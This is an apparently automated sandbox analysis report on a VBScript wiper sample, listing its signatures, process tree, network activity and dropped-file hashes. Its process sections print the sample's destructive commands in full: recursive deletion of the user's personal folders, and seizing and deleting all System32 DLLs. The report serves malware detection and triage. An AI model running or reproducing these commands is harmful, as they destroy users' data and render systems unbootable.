Malware Analysis Report

2024-11-16 12:51

Sample ID 240809-zwj42sshla
Target script.vbs
SHA256 5c3c530835c081210cc95dd2ff29ed430c3529bc3925b9c8d522b583247a8fe8
Tags
discovery exploit
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

5c3c530835c081210cc95dd2ff29ed430c3529bc3925b9c8d522b583247a8fe8

Threat Level: Likely malicious

The file script.vbs was found to be: Likely malicious.

Malicious Activity Summary

discovery exploit

Possible privilege escalation attempt

Checks computer location settings

Modifies file permissions

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Modifies registry class

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-09 21:04

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-09 21:04

Reported

2024-08-09 21:06

Platform

win7-20240708-en

Max time kernel

119s

Max time network

120s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\script.vbs"

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2972 wrote to memory of 2400 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WScript.exe
PID 2972 wrote to memory of 2400 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WScript.exe
PID 2972 wrote to memory of 2400 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WScript.exe
PID 2972 wrote to memory of 2940 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2972 wrote to memory of 2940 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2972 wrote to memory of 2940 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2972 wrote to memory of 2164 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2972 wrote to memory of 2164 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2972 wrote to memory of 2164 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2972 wrote to memory of 2260 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2972 wrote to memory of 2260 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2972 wrote to memory of 2260 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2972 wrote to memory of 2896 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2972 wrote to memory of 2896 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2972 wrote to memory of 2896 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2972 wrote to memory of 2912 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2972 wrote to memory of 2912 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2972 wrote to memory of 2912 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2972 wrote to memory of 2736 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2972 wrote to memory of 2736 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2972 wrote to memory of 2736 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2972 wrote to memory of 2620 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2972 wrote to memory of 2620 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2972 wrote to memory of 2620 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2620 wrote to memory of 2952 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2620 wrote to memory of 2952 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2620 wrote to memory of 2952 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2620 wrote to memory of 2652 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 2620 wrote to memory of 2652 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 2620 wrote to memory of 2652 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\script.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16script.vbs"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\desktop >nul && exit

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\downloads >nul && exit

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\documents >nul && exit

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\pictures >nul && exit

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\music >nul && exit

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\videos >nul && exit

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\system32\*.dll >nul && icacls C:\Windows\system32\*.dll /grant Everyone:(F) >nul && del /s /q C:\Windows\system32\*.dll >nul 2>&1 && exit

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\system32\*.dll

C:\Windows\system32\icacls.exe

icacls C:\Windows\system32\*.dll /grant Everyone:(F)

C:\Windows\explorer.exe

"C:\Windows\explorer.exe"

Network

N/A

Files

C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16script.vbs

MD5 0e67913dfaa6e19b7f9b2a4d70a639dc
SHA1 23f709f5ccbf4bf460084feb1c5e04208f4d521b
SHA256 f9541539fcffbb80e1ef5f3e19983bddc8d30375e8a80d3754a2ec7ec0aa3ea8
SHA512 c2dc8862b82bc193132e27078246b0430f047d8899cdf90d413a02968bcbd90da95c7f0570661b48ec9b5f1e5f5158e8ad08f2e8ebce812b89a4c0bf33f150da

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-09 21:04

Reported

2024-08-09 21:04

Platform

win10v2004-20240802-en

Max time kernel

30s

Max time network

30s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\script.vbs"

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings C:\Windows\System32\WScript.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3356 wrote to memory of 3084 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WScript.exe
PID 3356 wrote to memory of 3084 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WScript.exe
PID 3356 wrote to memory of 2248 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 3356 wrote to memory of 2248 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 3356 wrote to memory of 1184 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 3356 wrote to memory of 1184 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 3356 wrote to memory of 2368 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 3356 wrote to memory of 2368 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 3356 wrote to memory of 2244 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 3356 wrote to memory of 2244 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 3356 wrote to memory of 4232 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 3356 wrote to memory of 4232 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 3356 wrote to memory of 4880 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 3356 wrote to memory of 4880 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 3356 wrote to memory of 4556 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 3356 wrote to memory of 4556 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 4556 wrote to memory of 4784 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 4556 wrote to memory of 4784 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 4556 wrote to memory of 2228 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 4556 wrote to memory of 2228 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\script.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16script.vbs"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\desktop >nul && exit

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\downloads >nul && exit

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\documents >nul && exit

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\pictures >nul && exit

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\music >nul && exit

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\videos >nul && exit

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\system32\*.dll >nul && icacls C:\Windows\system32\*.dll /grant Everyone:(F) >nul && del /s /q C:\Windows\system32\*.dll >nul 2>&1 && exit

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\system32\*.dll

C:\Windows\system32\icacls.exe

icacls C:\Windows\system32\*.dll /grant Everyone:(F)

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 39.58.20.217.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 18.53.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16script.vbs

MD5 0e67913dfaa6e19b7f9b2a4d70a639dc
SHA1 23f709f5ccbf4bf460084feb1c5e04208f4d521b
SHA256 f9541539fcffbb80e1ef5f3e19983bddc8d30375e8a80d3754a2ec7ec0aa3ea8
SHA512 c2dc8862b82bc193132e27078246b0430f047d8899cdf90d413a02968bcbd90da95c7f0570661b48ec9b5f1e5f5158e8ad08f2e8ebce812b89a4c0bf33f150da